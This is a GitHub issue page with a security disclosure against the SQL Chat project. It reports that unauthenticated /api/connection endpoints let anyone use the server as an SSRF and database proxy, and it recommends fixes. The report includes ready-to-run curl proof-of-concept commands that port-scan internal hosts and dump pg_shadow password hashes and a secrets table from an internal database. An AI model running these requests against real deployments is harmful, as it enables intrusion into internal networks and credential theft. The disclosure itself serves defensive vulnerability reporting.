Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat · GitHub
Open Graph Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat
X Title: Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network · Issue #189 · sqlchat/sqlchat
Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection object (host, port, username, password, en...
Open Graph Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection ob...
X Description: Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connectio...
Opengraph URL: https://github.com/sqlchat/sqlchat/issues/189
X: @github
Domain: github.com
IPv4 address: 140.82.114.3
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Unauthenticated /api/connection/execute, /test, /db_schema and /db turn the SQL Chat server into an open database-connection proxy and SSRF into the deployment's internal network","articleBody":"### Describe the bug\n\n### Summary\n\nSQL Chat's database endpoints (`POST /api/connection/execute`, `/api/connection/test`, `/api/connection/db_schema`, `/api/connection/db`) take a fully client-supplied `connection` object (host, port, username, password, engine) from the request body, build a database connector from it on the server, and connect to that host, executing the supplied SQL and returning the result. None of these handlers performs any authentication, and there is no global middleware gating `/api/connection/*`, and the connectors apply no host allowlist or private-IP/loopback/metadata restriction. As a result, any unauthenticated client that can reach the SQL Chat server can use it as a database-connection proxy and SSRF primitive: connect to arbitrary internal hosts and ports, port-scan the internal network, and, for any database the server can reach (e.g. an internal Postgres/MySQL/SQL Server/TiDB with trust authentication or known/weak credentials), run arbitrary SQL and read the results, exfiltrating internal data that the attacker cannot reach directly.\n\n### Details\n\n`src/pages/api/connection/execute.ts` (no auth, connection from the body, no host check):\n\n```ts\n// POST /api/connection/execute\n// req body: { connection: Connection, db: string, statement: string }\nconst handler = async (req: NextApiRequest, res: NextApiResponse) => {\n if (req.method !== \"POST\") return res.status(405).json(false);\n\n let connection = req.body.connection as Connection; // attacker-controlled host/port/user/pass\n if (connection.engineType === Engine.TiDB) connection = changeTiDBConnectionToMySQL(connection);\n const db = req.body.db as string;\n const statement = req.body.statement as string;\n\n const connector = newConnector(connection); // builds a real DB connector to that host\n const result = await connector.execute(db, statement); // connects + runs the SQL server-side\n res.status(200).json({ data: result }); // returns rows to the caller\n};\nexport default handler;\n```\n\n`src/pages/api/connection/test.ts` is the same shape, calling `connector.testConnection()` (a clean connect/no-connect oracle for arbitrary host:port). `db_schema.ts` and `db.ts` likewise connect to the supplied host to enumerate databases/schema. There is no `getServerSession`/`getToken`/auth import in any of these handlers, the project has no `middleware.ts` gating `/api`, and the connectors under `src/lib/connectors/` contain no private-IP/loopback/allowlist check (a grep for `127.0.0.1`, `169.254`, `isPrivate`, `localhost`, `private` returns nothing). So the destination is entirely attacker-chosen and unauthenticated.\n\n### To reproduce\n\nPrerequisites: network reach to a SQL Chat instance at `http://\u003chost>:3000` (the self-hosted default, or the hosted service). No account.\n\nPort-scan / reachability oracle for an internal host (test connection):\n\n```bash\nTARGET=http://victim-sqlchat:3000\ncurl -s -X POST \"$TARGET/api/connection/test\" -H 'Content-Type: application/json' \\\n -d '{\"connection\":{\"engineType\":\"POSTGRESQL\",\"host\":\"10.0.0.5\",\"port\":\"5432\",\"username\":\"x\",\"password\":\"x\"}}'\n# fast auth-error vs slow timeout vs connection-refused distinguishes open internal DB ports\n```\n\nRead an internal database the server can reach (full query readback), e.g. an internal Postgres with trust auth or known creds:\n\n```bash\ncurl -s -X POST \"$TARGET/api/connection/execute\" -H 'Content-Type: application/json' \\\n -d '{\n \"connection\":{\"engineType\":\"POSTGRESQL\",\"host\":\"internal-pg.svc\",\"port\":\"5432\",\"username\":\"postgres\",\"password\":\"postgres\"},\n \"db\":\"app\",\n \"statement\":\"SELECT usename, passwd FROM pg_shadow; SELECT * FROM secrets LIMIT 50;\"\n }'\n# -> {\"data\": [...rows from the internal database...]}\n```\n\nThe SQL Chat server connects from inside its network to `internal-pg.svc:5432` and returns the rows. The same works for MySQL/TiDB/SQL Server engines, and the host may be `169.254.169.254` or any other internal address. (LIVE-VALIDATED on commit 665af87: the verbatim `newPostgresClient` + `execute` logic from `src/lib/connectors/postgres/index.ts` was run with `pg` against a stand-in \"internal\" PostgreSQL; with an attacker-supplied `connection` pointing at it, the server-side connection executed `SELECT k,v FROM secrets` and returned `[{\"k\":\"db_password\",\"v\":\"INTERNAL_PG_SECRET_9981\"}]`. The handler performs exactly `newConnector(connection).execute(db, statement)` with the client-supplied connection and no auth — confirmed there is no auth/session import in the handlers and no `middleware.ts` gating `/api`.)\n\n### Additional context\n\n### Impact\n\nAny unauthenticated attacker who can reach the SQL Chat server can use it as an SSRF pivot and database-connection proxy into the network where the server runs: enumerate internal hosts/ports, and run arbitrary SQL (read and write) against any database the server can reach, returning full results. On a self-hosted instance deployed on a corporate/cloud network this exposes internal databases and services that are not otherwise reachable by the attacker; on a multi-tenant hosted deployment it exposes the provider's internal network. Fix: require authentication on all `/api/connection/*` endpoints (and, for the hosted multi-tenant service, scope connections to the authenticated user); resolve the connection host and reject loopback, link-local (169.254.0.0/16) and RFC1918/ULA ranges (with re-check after DNS resolution) unless explicitly allowed by the operator; and consider an operator-configured host allowlist.\n","author":{"url":"https://github.com/geo-chen","@type":"Person","name":"geo-chen"},"datePublished":"2026-06-13T09:34:13Z","url":"https://github.com/sqlchat/sqlchat/issues/189"}
| react-profiling | 0 |
| react-import-map | react,react-dom,react-dom/client,react-dom/profiling,react-is,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@b8488ee2c322 |
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:1a9fabd4-664e-91eb-af01-13710e13b3e5 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | C8C0:E046C:4997D7:67DDDA:6B0471AE |
| html-safe-nonce | efe0bc6bfdcc4280064a9847e5fc140c842528665c2c7181cf816a59c3762814 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDOEMwOkUwNDZDOjQ5OTdENzo2N0REREE6NkIwNDcxQUUiLCJ2aXNpdG9yX2lkIjoiMTIwODM3NTQ0NDA2ODY1OTYzMCIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9 |
| visitor-hmac | 93adf97383bf4ff2b6f0f82ffe907e0ba7dedcea7ef1d36165ca61e0a3293cc5 |
| hovercard-subject-tag | issue:4655068853 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/sqlchat/sqlchat/189/issue_layout |
| twitter:image | https://opengraph.githubassets.com/e9b50756d1a3181fec9d0c66ff9afa92394fb514bd8c8a8d1da05dc494aab449/sqlchat/sqlchat/issues/189 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/e9b50756d1a3181fec9d0c66ff9afa92394fb514bd8c8a8d1da05dc494aab449/sqlchat/sqlchat/issues/189 |
| og:image:alt | Describe the bug Summary SQL Chat's database endpoints (POST /api/connection/execute, /api/connection/test, /api/connection/db_schema, /api/connection/db) take a fully client-supplied connection ob... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | geo-chen |
| hostname | github.com |
| expected-hostname | github.com |
| None | ae8802492f12d3ba4f6b0d814054e617a2a5616b6327bf8555c10cd5b0dc2a6f |
| turbo-cache-control | no-preview |
| go-import | github.com/sqlchat/sqlchat git https://github.com/sqlchat/sqlchat.git |
| octolytics-dimension-user_id | 128299021 |
| octolytics-dimension-user_login | sqlchat |
| octolytics-dimension-repository_id | 614656648 |
| octolytics-dimension-repository_nwo | sqlchat/sqlchat |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 614656648 |
| octolytics-dimension-repository_network_root_nwo | sqlchat/sqlchat |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | cfb5f24c6e01d85f70804652a5107e5cac03a161 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
| react-app-name | issues |
Links:
| Server | github.com |
| Content-Type | text/html; charset=utf-8 |
| Cache-Control | max-age=0, private, must-revalidate |
Viewport: width=device-width